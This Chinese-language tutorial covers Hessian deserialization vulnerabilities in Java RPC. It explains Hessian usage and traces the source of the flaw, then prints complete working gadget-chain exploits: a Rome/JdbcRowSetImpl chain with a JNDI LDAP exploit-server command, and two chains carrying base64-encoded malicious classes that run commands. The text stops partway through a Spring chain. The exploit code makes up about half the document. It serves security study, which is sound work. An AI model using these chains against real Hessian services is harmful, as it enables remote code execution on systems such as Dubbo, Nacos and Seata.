今天和大家共同探讨Java安全领域中一种常见的安全威胁,也就是Hessian反序列化漏洞。作为贯穿Java生态的RPC通信基石,Hessian协议如同微服务架构的"神经网络",其安全风险直接影响多个Java核心组件的命脉,如近几年披露的一些Hessian协议相关的安全组件漏洞:Seata Hessian 反序列化漏洞、Nacos 集群 Hessian 反序列化漏洞、xxl-job Hessian2 反序列化漏洞、Apache Dubbo Hessian 反序列化漏洞。由于Hessian协议广泛用于Java生态的RPC框架和微服务组件,其反序列化漏洞往往直接威胁企业核心业务系统,成为Java应用安全的高危雷区。从分布式事务到注册中心,从任务调度到服务调用,这些支撑亿级流量的基础设施一旦遭遇反序列化攻击,轻则数据泄露,重则系统沦陷
0x01 Hessian简介
Hessian是由Caucho公司开发的一种轻量级二进制RPC协议,它定义了自己的序列化规则和通信机制。在实际应用中,Hessian通常是通过HTTP传输的,相对比传统的XML/JSON等文本协议,传输效率更高。Hessian协议常见的有Hessian 1.0和Hessian 2.0两个版本,2.0是Hessian 1.0的升级版本,优化了序列化效率等等,性能显著提升。
0x02 Hessian基本使用
Hessian 可以与 Servlet 、Spring、JNDI等进行集成,用于实现远程调用,也可以使用自封装的办法进行调用
2.1 自封装调用
在项目中添加Hessian4.0.60版本依赖
<!--Hessian-->
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.60</version>
<!--<version>3.1.5</version>-->
</dependency>
编写一个实体类,继承Serializable
package com.study.deserialization.hessian;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";
}
}
Hessian 提供了高效且灵活的工具,其中HessianOutput
和HessianInput
是核心类,分别用于序列化和反序列化操作。序列化和反序列化代码如下
package com.study.deserialization.hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class HessianTest {
public static void main(String[] args) {
try {
// 创建一个 Person 对象
Person person = new Person("Tom", 25);
// 序列化对象
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(person);
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
System.out.println("Serialized bytes: " + java.util.Arrays.toString(serializedBytes));
// 反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedBytes);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
Person deserializedPerson = (Person) hessianInput.readObject();
System.out.println("Deserialized person: " + deserializedPerson.getName() + ", " + deserializedPerson.getAge());
} catch (Exception e) {
e.printStackTrace();
}
}
}
Hessian2反序列化只需要把上面代码中的HessianOutput/HessianInput
换为Hessian2Ouput/Hessian2Input
package com.study.deserialization.hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class Hessian2Test {
public static void main(String[] args) {
try {
// 创建一个 Person 对象
Person person = new Person("Tom", 25);
// 序列化对象
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
hessianOutput.writeObject(person);
hessianOutput.flush();
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
System.out.println("Serialized bytes: " + java.util.Arrays.toString(serializedBytes));
// 反序列化对象
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serializedBytes);
Hessian2Input hessianInput = new Hessian2Input(byteArrayInputStream);
Person deserializedPerson = (Person) hessianInput.readObject();
System.out.println("Deserialized person: " + deserializedPerson);
} catch (IOException e) {
e.printStackTrace();
}
}
}
2.2 Servlet集成Hessian
这里用Tomcat容器封装,导入Hessian4.0.60版本依赖,定义一个远程接口Service
package com.study.vuln.hessian;
public interface Service {
String getCurrentTime();
}
定义一个实现Service接口的类,并使用注解配置Servlet(也可通过web.xml配置)
package com.study.vuln.hessian;
import com.caucho.hessian.server.HessianServlet;
import javax.servlet.annotation.WebServlet;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
@WebServlet(name = "hessian", value = "/hessian")
public class ServiceImpl extends HessianServlet implements Service {
@Override
public String getCurrentTime() {
return "获取到当前时间为: " + LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));
}
}
客户端发送请求
public class Client {
public static void main(String[] args) throws MalformedURLException {
String url="http://localhost:8080/MyTomcat/hessian";
HessianProxyFactory factory=new HessianProxyFactory();
Service service=(Service) factory.create(Service.class, url);
System.out.println(service.getCurrentTime());
}
}
2.3 Spring集成Hessian
定义Hessian服务的接口,声明远程调用的方法契约(hello
方法)。Hessian要求客户端和服务端共享同一个接口,接口必须完全一致(包名、类名、方法签名),否则会因序列化不匹配导致调用失败。
package com.study.controller.hessian;
// 接口定义
public interface HelloHessianService {
String hello(String name);
}
实现<font style="color:rgba(0, 0, 0, 0.88);">HelloHessianService</font>
接口,提供具体的业务逻辑。
package com.study.controller.hessian;
import org.springframework.stereotype.Service;
@Service
public class HelloHessianServiceImpl implements HelloHessianService {
@Override
public String hello(String name) {
return "Hello Hessian " + name;
}
}
配置Hessian服务端,将HelloHessianServiceImpl
暴露为HTTP服务。
package com.study.controller.hessian;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.remoting.caucho.HessianServiceExporter;
@Configuration
public class HessianServerConfig {
@Qualifier("helloHessianServiceImpl")
@Autowired
private HelloHessianService helloHessianService;
@Bean(name = "/hessian/helloService") // URL访问路径
public HessianServiceExporter hessianServiceExporter() {
HessianServiceExporter exporter = new HessianServiceExporter();
exporter.setService(helloHessianService);
exporter.setServiceInterface(HelloHessianService.class);
return exporter;
}
}
提供一个REST接口/test
,测试HelloHessianService
的功能。
package com.study.controller.hessian;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class TestController {
@Qualifier("helloHessianServiceImpl")
@Autowired
private HelloHessianService helloHessianService;
@GetMapping("/hessian/test")
public String testHessian() {
return helloHessianService.hello("Tom");
}
}
0x03 Hessian反序列化漏洞原理分析
3.1 Hessian反序列化漏洞
在实际攻击中,攻击者会构造恶意的Hessian序列化数据,通过网络发送给目标服务。当目标服务尝试反序列化这些数据时,恶意代码会被执行,从而实现攻击目的。
3.2 Hessian反序列化调用栈分析
Hessian1.0 反序列化没有针对 Object 的读取,而是都将其作为 Map 读取,HessianInput#readObject
方法会根据输入流的第一个字节(标记字节,tag)来判断对象的类型。对于 Map 类型的对象,序列化结果的第一个字节总是M
(ASCII 值为 77)
接着会进入readMap
方法,readMap
方法用于反序列化一个 Map 类型的数据。它会根据输入流中的类型信息(type
)来选择合适的反序列化器(Deserializer
)。对于普通的 Java 类(如Person
类),其类型信息会被标记为完整的类名(例如"com.study.deserialize.hessian.Person"
)。Hessian 会根据这个类型信息返回一个JavaDeserializer
,这是默认用于处理普通 JavaBean 的反序列化器。
public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
// 1. 根据传入的 type 获取对应的 deserializer
Deserializer deserializer = this.getDeserializer(type);
// 2. 如果 deserializer 存在,调用 deserializer.readMap(in) 进行反序列化
if (deserializer != null) {
return deserializer.readMap(in);
}
// 3. 如果 _hashMapDeserializer 已经初始化,则使用 _hashMapDeserializer 反序列化
else if (this._hashMapDeserializer != null) {
return this._hashMapDeserializer.readMap(in);
}
// 4. 如果 _hashMapDeserializer 为空,则创建一个 HashMap 反序列化器,并使用它进行反序列化
else {
this._hashMapDeserializer = new MapDeserializer(HashMap.class);
return this._hashMapDeserializer.readMap(in);
}
}
这里跟进getDeserializer方法,主要作用是根据类型名称获取对应的反序列化器。在 Hessian 的反序列化过程中,如果类型信息能够被正确读取,Hessian 会尝试根据类型信息获取对应的反序列化器。如果类型信息不存在或无法被解析,Hessian 将无法找到对应的反序列化器,从而返回null
。
public Deserializer getDeserializer(String type) throws HessianProtocolException {
// 检查类型字符串是否为空
if (type != null && !type.equals("")) {
// 检查是否存在缓存的类型反序列化器映射
if (this._cachedTypeDeserializerMap != null) {
Deserializer deserializer;
// 同步访问缓存映射,防止并发问题
synchronized(this._cachedTypeDeserializerMap) {
deserializer = (Deserializer)this._cachedTypeDeserializerMap.get(type);
}
// 如果缓存中存在对应的反序列化器,则直接返回
if (deserializer != null) {
return deserializer;
}
}
// 如果缓存中没有找到,尝试从静态类型映射中获取
Deserializer deserializer = (Deserializer)_staticTypeMap.get(type);
if (deserializer != null) {
return (Deserializer)deserializer;
} else {
// 如果类型是数组类型(以 "[" 开头)
if (type.startsWith("[")) {
// 递归获取数组元素的反序列化器
Deserializer subDeserializer = this.getDeserializer(type.substring(1));
if (subDeserializer != null) {
// 如果数组元素的反序列化器存在,则创建数组反序列化器
deserializer = new ArrayDeserializer(subDeserializer.getType());
} else {
// 如果数组元素的反序列化器不存在,则使用默认的 Object 类型数组反序列化器
deserializer = new ArrayDeserializer(Object.class);
}
} else {
// 获取当前线程的类加载器
ClassLoader loader = Thread.currentThread().getContextClassLoader();
try {
// 尝试通过类加载器加载指定类型的类
Class cl = Class.forName(type, false, loader);
// 递归获取该类的反序列化器
deserializer = this.getDeserializer(cl);
} catch (Exception var7) {
// 如果加载失败,记录警告日志
log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + loader + ":\n" + var7);
log.log(Level.FINER, var7.toString(), var7);
}
}
// 如果成功获取了反序列化器,将其缓存起来
if (deserializer != null) {
if (this._cachedTypeDeserializerMap == null) {
// 如果缓存映射尚未初始化,则初始化一个
this._cachedTypeDeserializerMap = new HashMap(8);
}
// 同步操作,将反序列化器放入缓存
synchronized(this._cachedTypeDeserializerMap) {
this._cachedTypeDeserializerMap.put(type, deserializer);
}
}
// 返回最终获取的反序列化器
return (Deserializer)deserializer;
}
} else {
// 如果类型字符串为空,直接返回 null
return null;
}
}
如果Hessian反序列化的数据信息不存在,比如反序列化一个HashMap,Hessian 将无法找到对应的反序列化器,从而返回null
。模拟在安全漏洞利用场景中,攻击者构造不存在的数据类型。
反序列一个HashMap会发现deserializer返回null,最终走到去创建一个MapDeserializer反序列化器
进入MapDeserializer#readMap
方法,这段代码是 Hessian 反序列化过程中用于处理Map
类型数据的核心方法
public Object readMap(AbstractHessianInput in) throws IOException {
// 定义一个 map 对象,用于存储反序列化后的 Map 数据
Object map;
// 根据 _type 字段的值来决定创建哪种类型的 Map 对象
if (this._type == null) {
// 如果 _type 为 null,创建一个普通的 HashMap
map = new HashMap();
} else if (this._type.equals(Map.class)) {
// 如果 _type 是 Map.class,也创建一个普通的 HashMap
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
// 如果 _type 是 SortedMap.class,创建一个 TreeMap
map = new TreeMap();
} else {
// 如果 _type 是其他具体的 Map 类型(如自定义的 Map 类)
try {
// 使用 _ctor.newInstance() 来创建指定类型的实例
map = (Map)this._ctor.newInstance();
} catch (Exception var4) {
// 如果创建实例失败,抛出 IOExceptionWrapper 包装原始异常
throw new IOExceptionWrapper(var4);
}
}
// 将创建的 map 对象添加到引用表中,以便后续可能的引用
in.addRef(map);
// 循环读取输入流中的键值对,直到遇到结束标记
while(!in.isEnd()) {
// 从输入流中读取键和值,并将它们放入 map 中
((Map)map).put(in.readObject(), in.readObject());
}
// 读取结束标记,表示 Map 数据的结束
in.readEnd();
// 返回反序列化后的 Map 对象
return map;
}
看到这里,应该就知道漏洞怎么导致的,最后通过map.put
设置键值对,这里调用了HashMap的put方法,而put方法内部会调用hashCode方法。如果攻击者构造的恶意类重写了hashCode或equals方法,就会在反序列化时触发这些方法,导致RCE,这就是hessian反序列化漏洞成因。
在 Hessian 2.0 中,提供了UnsafeDeserializer
来对自定义类型数据进行反序列化,关键方法在readObject
处。具体代码调试和1.0差不多,这里不重复跟进了。
那怎么去利用Hessian反序列化漏洞呢?只需要找一条入口为 hashcode 的反序列化链即可。
Hessian各种反序列化链中和Map相关的触发都与put 键值对有关,所以在Hessian的反序列化利用链中,起始方法只能为hashCode/equals/compareTo 方法。marshalsec集成了Hessian反序列化的gadget:Rome、XBean、Resin、SpringPartiallyComparableAdvisorHolder、SpringAbstractBeanFactoryPointcutAdvisor
0x04 典型利用链
4.1 Rome+JdbcRowSetImpl
该链需要导入依赖
<!--Rome利用链-->
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
首先使用JNDI工具启一个Ldap服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
package com.study.deserialization.hessian.gadgets;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.HashMap;
public class Hessian_Rome {
public static void main(String[] args) throws Exception {
// 创建JdbcRowSetImpl对象
String url = "ldap://127.0.0.1:1389/wn0juk";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(url);
// 创建toStringBean对象和equalsBean对象
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
// 创建HashMap
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(equalsBean, "1");
HashMap hashMap = MapUtils.makeMap(equalsBean, "1");
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("RomeHessian.bin");
HessianOutput hessianOutput = new HessianOutput(fileOutputStream);
hessianOutput.writeObject(hashMap);
hessianOutput.close();
// 反序列化
FileInputStream fileInputStream = new FileInputStream("RomeHessian.bin");
HessianInput hessianInput = new HessianInput(fileInputStream);
hessianInput.readObject();
}
}
4.2 TemplatesImpl+SignedObject 二次反序列化
上面的Rome链需要目标出网,在实战中还是限制比较高,那么还需要实现不出网的办法,其中一个常见的方式是使用java.security.SignedObject
进行二次反序列化
package com.study.deserialize.hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class Hessian_SignedObject {
public static void main(String[] args) throws Exception {
// 获取恶意类字节码
String payload_calc = "yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQAERXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAABwANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEQANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAALAAkADgAMAAwADQANABEADwANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAj";
byte[] code = Base64.getDecoder().decode(payload_calc);
// 创建 TemplatesImpl 对象,用于存储恶意字节码
TemplatesImpl obj = new TemplatesImpl();
MapUtils.setValue(obj, "_bytecodes", new byte[][]{code});
MapUtils.setValue(obj, "_name", "xxx");
MapUtils.setValue(obj, "_tfactory", new TransformerFactoryImpl());
// 使用 ToStringBean 包装 TemplatesImpl 对象,使其在 toString() 时触发恶意代码
ToStringBean bean = new ToStringBean(Templates.class, obj);
ToStringBean fakebean = new ToStringBean(String.class, obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);
HashMap map = new HashMap();
map.put(equalsBean, 1);
MapUtils.setValue(equalsBean, "_obj", bean);
// 初始化 SignedObject 所需的密钥和签名工具
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 创建 SignedObject 对象,对 map 进行签名
SignedObject signedObject = new SignedObject(map, privateKey, signingEngine);
// 使用 ToStringBean 包装 SignedObject 对象
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean1);
// 构造一个特殊的 HashMap,防止序列化过程中触发恶意代码造成干扰
HashMap hashMap = MapUtils.makeMap(equalsBean2, "1");
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(equalsBean2, "1");
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("Hessian_SignedObject.bin");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
hessian2Output.writeObject(hashMap);
hessian2Output.close();
// 反序列化
FileInputStream fileInputStream = new FileInputStream("Hessian_SignedObject.bin");
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
hessian2Input.readObject();
}
}
4.3 Hessian JDK原生反序列化不出网的任意代码执行利用链
从whwlsfb师傅的文章 探寻Hessian JDK原生反序列化不出网的任意代码执行利用链中获取到一条Hessian反序列化利用链,该链可实现不出网的任意代码执行且无需任何依赖,经实际测试Hessian3.x版本是不可以使用这条利用链的
package com.study.deserialize.hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.UUID;
public class Hessian_JDK {
static SerializerFactory serializerFactory = new SerializerFactory();
public static void main(String[] args) throws Exception {
String payload_calc = "yv66vgAAADQAVgoAFwAqCAArCAAsCgAtAC4KAAgALwgAMAoACAAxBwAyCAAgCAAzCAA0CAA1BwA2CgA3ADgKADcAOQoAOgA7CgANADwIAD0KAA0APgoADQA/BwBABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACBMY29tL2V4cGxvaXQvZ3VpL3Rlc3RleHAvbXljb2RlOwEACDxjbGluaXQ+AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwAyBwAjBwBAAQAKU291cmNlRmlsZQEAC215Y29kZS5qYXZhDAAYABkBAARjYWxjAQAHb3MubmFtZQcAQwwARABFDABGAEcBAAN3aW4MAEgASQEAEGphdmEvbGFuZy9TdHJpbmcBAAIvYwEACS9iaW4vYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIHAEoMAEsATAwATQBOBwBPDABQAFEMABgAUgEAAlxBDABTAFQMAFUARwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAB5jb20vZXhwbG9pdC9ndWkvdGVzdGV4cC9teWNvZGUBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQAIQAWABcAAAAAAAIAAQAYABkAAQAaAAAALwABAAEAAAAFKrcAAbEAAAACABsAAAAGAAEAAAAFABwAAAAMAAEAAAAFAB0AHgAAAAgAHwAZAAEAGgAAANYABAADAAAAXRICSwFMEgO4AAS2AAUSBrYAB5kAGQa9AAhZAxIJU1kEEgpTWQUqU0ynABYGvQAIWQMSC1NZBBIMU1kFKlNMuwANWbgADiu2AA+2ABC3ABESErYAE7YAFE2nAARLsQABAAAAWABbABUAAwAbAAAAJgAJAAAACAADAAkABQAKABUACwArAA0APgAPAFgAEQBbABAAXAASABwAAAAWAAIAAwBVACAAIQAAAAUAUwAiACMAAQAkAAAAFwAE/QArBwAlBwAmEv8AHAAAAAEHACcAAAEAKAAAAAIAKQ==";
byte[] decodedClassBytes = java.util.Base64.getDecoder().decode(payload_calc);
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(new java.io.ByteArrayInputStream(decodedClassBytes));
// 添加静态代码块打印 123456
CtConstructor staticConstructor = ctClass.makeClassInitializer();
staticConstructor.insertBefore("System.out.println(\"success\");");
// 更改类名
ctClass.setName("org.apache.WebSocketUpgradeOfpuanListener." + UUID.randomUUID().toString().replace("-", ""));
// 将修改后的类转换为 Base64
payload_calc = java.util.Base64.getEncoder().encodeToString(ctClass.toBytecode());
String new_ClassName = ctClass.getName();
byte[] bcode = Base64.decode(payload_calc);
serializerFactory.setAllowNonSerializable(true);
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Object unsafe = f.get(null);
Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{new_ClassName, bcode, 0, bcode.length, null, null}}};
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
SwingLazyValue swingLazyValue1 = new SwingLazyValue(new_ClassName, null, new Object[0]);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
// 序列化
serObj(hashtable1, hashtable2, hashtable3, hashtable4);
// 反序列化
readObj();
}
static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 4);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 4);
Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
Reflections.setFieldValue(s, "table", tbl);
Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(s);
hessian2Output.close();
}
static void readObj() throws Exception {
Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
hessian2Input.readObject();
}
}
4.4 其他链
Hessian可以利用的链远不止这些,其他的利用链用到时再去具体分析,可以看看这篇文章 超详细解析Hessian利用链
Spring AbstractBeanFactoryPointcutAdvisor
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.0.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.1.3.RELEASE</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.6.10</version>
</dependency>
package com.study.deserialize.hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class AbstractBeanFactoryPointcutAdvisorHessian {
public static void main(String[] args) throws Exception {
// ldap url
String url = "ldap://127.0.0.1:1389/albtdj";
SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
// String SimpleJndiBeanFactory = "org.springframework.jndi.support.SimpleJndiBeanFactory";
